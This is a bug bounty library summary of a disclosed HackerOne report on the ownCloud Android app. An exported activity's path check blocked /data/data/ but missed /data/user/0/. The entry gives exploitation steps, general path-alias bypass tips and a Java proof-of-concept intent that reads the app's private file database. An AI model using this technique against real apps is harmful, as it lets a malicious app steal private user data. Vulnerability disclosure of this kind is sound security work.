# Possible to steal any protected files on Android

Exported Android activity's path check blocked /data/data/ but not the equivalent /data/user/0/ symlink path, letting a malicious app read any ownCloud private file.

- Payout: $750
- Severity: medium
- Program: ownCloud
- Found by: shell_c0de
- Disclosed: 2021-11-15
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/377107
- Library page: https://bugbountylibrary.com/r/h1%3A377107
- Tags: area:mobile domain:mobile impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:medium tech:android technique:incomplete-fix vuln:access-control vuln:path-traversal

**Target:** ownCloud Android app exported activity ReceiveExternalFilesActivity
**Root cause:** The activity's blocklist check only matched the literal string /data/data/ and missed the equivalent /data/user/0/ path to the same app-private directory.
**Steps:**
1. Build a malicious app that sends an ACTION_SEND intent to com.owncloud.android.ui.activity.ReceiveExternalFilesActivity with type */* and FLAG_GRANT_READ_URI_PERMISSION.
2. Set extra android.intent.extra.STREAM to `file:///data/user/0/com.owncloud.android/databases/filelist` (bypasses the /data/data/ check).
3. startActivity(intent) to trigger the activity to read and process the file.
4. Exfiltrate the returned file contents (e.g. databases/filelist) from the malicious app.
**How found:** Noticed the activity's path verification only checked /data/data/ and hypothesized that the alternate canonical path /data/user/0/ points to the same directory, then tested it.
**Exploitation:** A malicious installed app crafts an explicit intent to the exported activity, supplying a file:// URI under /data/user/0/com.owncloud.android/ instead of /data/data/, bypassing the path filter and gaining read access to private app files like the file database and history.
**Insight:** When a filter blocks a literal path string, try equivalent aliases of the same location (e.g. /data/user/0/ vs /data/data/, symlinks, /proc/self/root, canonicalization variants) to bypass string-based checks.

## Proof of concept (copied exactly from the original report)

**Malicious intent targeting exported activity with alternate path**

```
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
        StrictMode.setVmPolicy(builder.build());
        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("com.owncloud.android", "com.owncloud.android.ui.activity.ReceiveExternalFilesActivity");
        intent.setType("*/*");
        intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        intent.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/user/0/com.owncloud.android/databases/filelist"));
        startActivity(intent);
```

